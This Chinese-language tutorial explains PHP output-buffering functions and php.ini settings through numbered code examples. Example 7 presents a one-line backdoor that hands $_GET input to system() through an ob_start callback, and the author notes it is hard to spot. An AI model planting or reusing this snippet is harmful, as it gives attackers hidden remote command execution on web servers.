PHP输出缓冲控制 - Output Control 函数 应用详解

PHP输出缓冲控制 - Output Control 函数 应用详解

简介

说到输出缓冲，首先要说的是一个叫做缓冲器(buffer)的东西。举个简单的例子说明他的作用：我们在编辑一篇文档时，在我们没有保存之前，系统是不会向磁盘写入的，而是写到buffer中，当buffer写满或者执行了保存操作，才会将数据写入磁盘。对于PHP来说，每一次像 echo 这样的输出操作，同样是先写入到了 php buffer 里，在脚本执行完毕或者执行了强制输出缓存操作，数据才会在浏览器上显示。

其实对于PHP程序员来说，基本上每个脚本都涉及到了输出缓冲，只是在大多数情况下，我们都不需要对输出缓冲进行更改。而今天就来用实例对PHP输出缓冲控制函数“Output Control”做一个详细的解析。

下面这个例子简单介绍了输出缓冲在一般脚本中存在的方式：

我们在执行如下脚本时：

1

<?php

2

/*例1*/

3	echo 'oschina.net' ;

4	echo '红薯' ;

5	echo '虫虫' ;

6

?>

脚本在执行完第一个 echo 时，并不会向浏览器输出相应内容，而是会输出到一个缓冲区，依次类推，当三个 echo 全部执行完毕(也就是脚本结束)时，才会将缓冲区内容全部输出到浏览器。当然这个缓冲区也有大小的限制，是根据 php.ini 中的

output_buffering

选项来设置的，这点会在下面的文章中详细介绍。而本章所讲的输出缓冲控制，就是在脚本结束前，对缓冲区里的内容进行操作。

这个例子可以更好的体现输出缓冲控制的应用：

在执行如下代码时：

1

<?php

2

/*例2*/

3	echo 'oschina.net' ;

4

sleep(1);

5	echo '红薯' ;

6

sleep(1);

7	echo '虫虫' ;

8

?>

我们至少需要等待 2秒 才能看到输出结果，那我们能不能让其实时的显示呢？也就是在第一个 echo 执行完毕时就输出相应的内容呢，这时候就需要用输出缓冲控制函数来操作缓冲区了，实现代码如下：

01

<?php

02

/*例3*/

03	echo str_pad ( '' , 1024); //使缓冲区溢出

04	ob_start(); //打开缓冲区

05	echo 'oschina.net' ;

06	ob_flush(); //送出当前缓冲内容，不会输出

07	flush (); //输出送出的缓冲内容

08

sleep(1);

09	echo '红薯' ;

10	ob_flush(); //送出当前缓冲内容，不会输出

11	flush (); //输出送出的缓冲内容

12

sleep(1);

13	echo '虫虫' ;

14	ob_end_flush(); //输出并关闭缓冲

15

?>

简单点也可以这样实现：

01

<?php

02

/*例4*/

03	echo str_pad ( '' , 1024); //使缓冲区溢出

04	echo 'oschina.net' ;

05	flush (); //输出送出的缓冲内容

06

sleep(1);

07	echo '红薯' ;

08	flush (); //输出送出的缓冲内容

09

sleep(1);

10	echo '虫虫' ;

11

?>

至于相关函数的用法在下面都会有介绍，这里只是给大家展示一个输出缓冲控制函数的应用，当然了输出缓冲控制函数的作用绝不止这一种，那么下面我们就来看看输出缓冲控制函数都可以应用在哪些方面。

作用

在PHP中，像header(), session_start(), setcookie() 等这样的发送头文件的函数前，不能有任何的输出，而利用输出缓冲控制函数可以在这些函数前进行输出而不报错。其实这么做没啥必要，非常少见的用法。
对输出的内容进行处理，例如生成静态缓存文件、进行gzip压缩输出，这算是较常用的功能了，后面会有详细介绍。
捕获一些不可获取的函数输出，例如phpinfo(), var_dump() 等等，这些函数都会将运算结果显示在浏览器中，而如果我们想对这些结果进行处理，则用输出缓冲控制函数是个不错的方法。说的通俗点，就是这类函数都不会有返回值，而要获取这些函数的输出数据，就要用到输出缓冲控制函数。

最后一种应用就是 简介 中示例的方法，对一些数据进行实时的输出，例如在我这篇博文中，就用到了输出缓冲控制函数进行页面爬虫数据的实时输出。链接：PHP爬虫获取网站所有图片，并按网站分类本地保存

php.ini 中的相关配置项

再来看看在 php.ini 中和输出缓冲控制有关的选项，共三个，分别是：

output_buffering

,

output_handler

和

implicit_flush

output_buffering

默认为 off , 当设置为 on 时，则在所有脚本自动打开输出缓冲区，拿 例3 来说，就是在每个脚本都自动执行了 ob_start() 这个函数，而不用再显示的调用该函数。其也可以设置为一个整型的数字，代表缓冲区可以存储的最大字节数，我们在 例1 的下面说明中提到过这个配置项。

output_handler

默认为 null , 其值只能设置为一个内置的函数名，作用就是将脚本的所有输出，用所定义的函数进行处理。他的用法和 ob_start('function_name') 较类似，下面会介绍到。

implicit_flush

默认为 off , 当设置为 on 时，PHP将在输出后，自动送出缓冲区内容。拿 例4 来说，就是在每段输出后，自动执行 flush() 。当然有效的输出不仅指像echo , print 这样的函数，也包括HTML段。

Output Control 函数详解

现在我们就用实例分析相关函数，相信在充分了解了以下内容后，就会对输出缓冲控制函数有了较清晰的掌握。

1.bool[b] ob_start ([callback

$output_callback

[,int

$chunk_size

[,bool

$erase

]]] )[/b]

此函数在 例3 中已经使用过，大家从命名上也能明白其含义，就是打开输出缓冲区，从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法，第一个参数要传递一个回调函数，其需将缓冲区内容做为参数，并且返回一个字符串。他会在缓冲区被送出时调用，缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到，来看一个简单的例子就能理解其用法：

1

<?php

2

/*例5*/

3	ob_start( 'handleString' );

4	echo '123456' ;

5

6	function handleString( $string ){

return md5($string);

8

}

9

?>

运行后的结果是：

1	e10adc3949ba59abbe56e057f20f883e

说明输出的内容被md5加密了，也就是说在缓冲区内容输出时，运行了我们定义的 handleString 函数。

再来看一个更实际的例子，也就是常见到的将网页内容利用 gzip 压缩后再输出，代码如下：

1

<?php

2

/*例6*/

3	ob_start( 'ob_gzhandler' );

4	echo str_repeat ( 'oschina' , 1024);

5

?>

其页面大小为：





而不使用 ob_gzhandler 参数，其页面大小为：





可以明显看到大小的差别，所以说利用 ob_start() 进行页面压缩输出，是非常实用的一个功能。

而第二个参数

chunk_size

为缓冲区的字节长度，如果缓冲区内容大于此长度，将会被送出缓冲区，默认值为0，代表函数将会在最后被调用。第三个参数

erase

如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除，如果提前执行了删除缓冲区函数(后面会提到)，则会报一个错误。

ob_start() 的用法就这么多，但有两点需要特别注意的地方：

ob_start() 可重复调用，也就是说一个脚本中可以存在多个缓冲区，但记得要按照嵌套顺序将他们全部关闭掉，而如果多个 ob_start 都定义了第一个参数，也就是都定义了回调函数，则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套，将在 ob_get_level 函数处详细介绍，这里就不过多阐述了。
ob_start() 还有一个不太明显但很致命的后门用法，实现代码如下：

1

<?php

2

/*例7*/

3	$cmd = 'system' ;ob_start( $cmd ); echo "$_GET[a]" ;ob_end_flush();

4

?>

如果理解了上面关于 ob_start的用法，这段代码就不难理解了，其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点，实现了以Web服务器权限远程执行命令，并且不宜被发觉。

2. string ob_get_contents (void
)

此函数用来获取此时缓冲区的内容，下面的例子就能很好的理解其用法：

01

<?php

02

/*例8*/

03	echo str_pad ( '' , 1024); //使缓冲区溢出

04	ob_start(); //打开缓冲区

05	phpinfo();

06	$string =ob_get_contents(); //获取缓冲区内容

07	$re = fopen ( './phpinfo.txt' , 'wb' );

08	fwrite( $re , $string ); //将内容写入文件

09	fclose( $re );

10	ob_end_clean(); //清空并关闭缓冲区

11

?>

运行此例会发现，浏览器并不会有任何输出，但在当前目录下会有一个 phpinfo.txt 的文件，里面存储了此次应有的输出。这个例子也展示了上面作用中第三点所说的情况。我们可以将输出内容获取到后，根据我们的实际情况进行处理。

3. int ob_get_length (void
)

此函数用来获取缓冲区内容的长度，将 例8 稍作改动来展示这个函数的用法：

01

<?php

02

/*例9*/

03	echo str_pad ( '' , 1024); //使缓冲区溢出

04	ob_start(); //打开缓冲区

05	phpinfo();

06	$string =ob_get_contents(); //获取缓冲区内容

07	$length =ob_get_length(); //获取缓冲区内容长度

08	$re = fopen ( './phpinfo.txt' , 'wb' );

09	fwrite( $re , $string ); //将内容写入文件

10	fclose( $re );

11	var_dump( $length ); //输出长度

12	ob_end_flush(); //输出并关闭缓冲区

13

?>

4. int ob_get_level (void
)

此函数用来获取缓冲机制的嵌套级别，我们在介绍 ob_start() 函数时曾说过，在一个脚本中可以嵌套存在多个缓冲区，而此函数就是来获取当前缓冲区的嵌套级别，用法如下：

1

<?php

2

/*例10*/

3	ob_start();

4	var_dump(ob_get_level());

5	ob_start();

6	var_dump(ob_get_level());

7	ob_end_flush();

8	ob_end_flush();

9

?>

运行后可以很明显的看出他们的嵌套关系。

5. array[b] ob_get_status ([bool

$full_status

=FALSE ] )[/b]

此函数用来获取当前缓冲区的状态，返回一个状态信息的数组，如果第一个参数为 true ，将返回一个详细信息的数组，我们结合实例来分析这个数组：

1

<?php

2

/*例11*/

3	ob_start(‘ob_gzhandler’);

4	var_export(ob_get_status());

5	ob_start();

6	var_export(ob_get_status());

7	ob_end_flush();

8	ob_end_flush();

9

?>

此脚本输出如下：

01

array (

02	'level' => 1,

03	'type' => 1,

04	'status' => 0,

05	'name' => 'ob_gzhandler' ,

06	'del' => true,

07

)

08

09

array (

10	'level' => 2,

11	'type' => 1,

12	'status' => 0,

13	'name' => 'default output handler' ,

14	'del' => true,

15

)

level 为嵌套级别，也就是和通过 ob_get_level() 取到的值一样。

type 为处理缓冲类型，0为系统内部自动处理，1为用户手动处理。

status 为缓冲处理状态， 0为开始， 1为进行中， 2为结束

name 为定义的输出处理函数名称，也就是在 ob_start() 函数中第一个参数传入的函数名。

del为是否运行了删除缓冲区操作

理解了上面数组的含义，就能很好理解缓冲区的各项属性。

6. array[b]ob_list_handlers (void )[/b]

此函数用来获得输出处理程序的函数名数组，也就是在 ob_start() 函数中我们指定的第一个参数，需要注意的是，如果我们传的参数是一个匿名函数，或者在配置文件中启用了

output_buffering

则该函数将返回default output handler ，php官方手册 中的例子就能很好的解释这个函数：

01

<?php

02

/*例12*/

03	//using output_buffering=On

04	print_r(ob_list_handlers());

05	ob_end_flush();

06

07	ob_start( "ob_gzhandler" );

08	print_r(ob_list_handlers());

09	ob_end_flush();

10

11	// anonymous functions

12	ob_start(create_function( '$string' , 'return $string;' ));

13	print_r(ob_list_handlers());

14	ob_end_flush();

15

?>

输出结果为：

01

Array

02

(

03	[0] => 'default output handler'

04

)

05

06

Array

07

(

08	[0] => 'ob_gzhandler'

09

)

10

11

Array

12

(

13	[0] => 'default output handler'

14

)

下面我们来看看和输出、关闭、送出缓冲区内容有关的函数：

7. void[b]ob_flush (void )[/b]

此函数在前面的例子经常用到了，其作用就是 “送出” 当前缓冲区内容，同时清空缓冲区，需要注意这里用的是 “送出” 一词，也就是说调用此函数并不会将缓冲区内容输出，从 例3 可以看出必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到，这里就不再做实例了。

8. void[b] flush (void )[/b]

这个函数算是比较常用的，用来将其前面的所有输出发送到浏览器显示，且不会对缓存区有任何影响。例3 和 例4 中都用到了此函数将当前输出显示到浏览器，换句话说，不论是 echo 等函数的输出，还是 HTML实体 ，或是运行 ob_start() 送出的内容，运行 flush() 后都会在浏览器进行显示。

9. void[b]ob_implicit_flush ([int

$flag

=true ]
)[/b]

此函数用来打开/关闭绝对刷送模式，就是在每一次输出后自动执行 flush()，从而不需要再显示的调用 flush() ，提高效率。我们将 例4 稍作更改，利用这个函数来实现同样的效果：

01

<?php

02

/*例13*/

03	echo str_pad ( '' , 1024); //使缓冲区溢出

04	ob_implicit_flush(true); //打开绝对刷送

05	echo 'oschina.net' ;

06	//flush();之后不需要再显示的调用 flush()

07

sleep(1);

08	echo '红薯' ;

09	//flush();

10

sleep(1);

11	echo '虫虫' ;

12

?>

此例和 例4 实现的同样的效果，由于打开了 绝对刷送，所以不需要再调用 flush()， 系统会自动在输出后进行刷送。

10. bool[b] ob_end_flush (void )[/b]

此函数将缓冲区的内容送出，并关闭缓冲区。实际上相当于执行了 ob_flush() 和 ob_end_clean() ;

11. string[b] ob_get_flush (void )[/b]

此函数和 ob_end_flush() 的作用基本一致，只是其会以字符串的形式返回缓冲区的内容，很简单，也不做实例了。

12. void[b] ob_clean (void )[/b]

此函数会将当前缓冲区清空，但不会关闭缓冲区，下面这个例子的输出将不会显示，因为在输出前，缓冲区已经被清空了，但我们又可以获取到缓冲区的属性，说明缓冲区没被关闭：

1

<?php

2

/*例14*/

3	ob_start();

4	echo 'oschina' ;

5	ob_clean();

6	var_dump(ob_get_status());

7

?>

13. bool[b] ob_end_clean (void )[/b]

此函数清空并关闭缓冲区，将 例14 稍作更改，即可发现我们不再能获取到缓冲区的状态，因为它已经被关闭了：

1

<?php

2

/*例15*/

3	ob_start();

4	echo 'oschina' ;

5	ob_end_clean();

6	var_dump(ob_get_status());

7

?>

14. string[b] ob_get_clean (void )[/b]

此函数清空并关闭缓存，但会以字符串的形式返回缓存中的数据，实际上，这个函数就是分别执行了 ob_get_contents() 和 ob_end_clean();

1

<?php

2

/*例16*/

3	ob_start();

4	echo 'oschina' ;

5	$string =ob_get_clean();

6	var_dump(ob_get_status());

7	var_dump( $string );

8

?>

最后再来看两个和URL重写有关的函数：

15. bool[b] output_add_rewrite_var (string

$name

, string

$value

)[/b]

此函数添加URL重写机制的键和值，这里的URL重写机制，是指在URL的最后以GET方式添加键值对，或者在表单中以隐藏表单添加键值对。绝对的URL不会被添加，还是用手册中的例子来看吧，写的非常直观明了：

01

<?php

02

/*例17*/

03	output_add_rewrite_var( 'var' , 'value' );

04

05	// some links

06	echo '<a href= "file.php" >link</a>

07	<a href= "http://example.com" >link2</a>';

08

09

// a form

10	echo '<form action= "script.php" method= "post" >

11	<input type= "text" name= "var2" />

12

</form>';

13

14	print_r(ob_list_handlers());

15

?>

程序的输出为：

01	< a href = "file.php?var=value" >link</ a >

02	< a href = "http://example.com" >link2</ a >

03

04	< form action = "script.php" method = "post" >

05	< input type = "hidden" name = "var" value = "value" />

06	< input type = "text" name = "var2" />

07

</ form >

08

09

Array

10

(

11	[0] =>URL-Rewriter

12

)

可以看到不是绝对URL地址的链接 和 Form表单 被加上了对应的键值对。

16. bool[b] output_reset_rewrite_vars (void )[/b]

此函数用来清空所有的URL重写机制，也就是删除由 output_add_rewrite_var() 设置的重写变量。

其他需要注意的地方

相信读了上面的内容，就会对PHP的缓冲控制函数有较深的认识了，那接下来说一些在日常使用中需要注意的问题：

在 例3 的第三行，我输出了一个1024长度的空格，注释写的是使缓冲区溢出。这么做的原因是在一些win32下的服务器程序，即使使用了上述函数，但仍然会缓存脚本的输出，所以必须先发送一段文本让其缓冲区溢出，才能继续实现我们的效果。大家在应用过程中一定要注意，如果测试中还有问题，可以将此值设置更大些，例如4096；
除非在脚本结束前清空了缓冲区，否则当脚本结束时，缓冲区的所有内容会自动输出到浏览器中。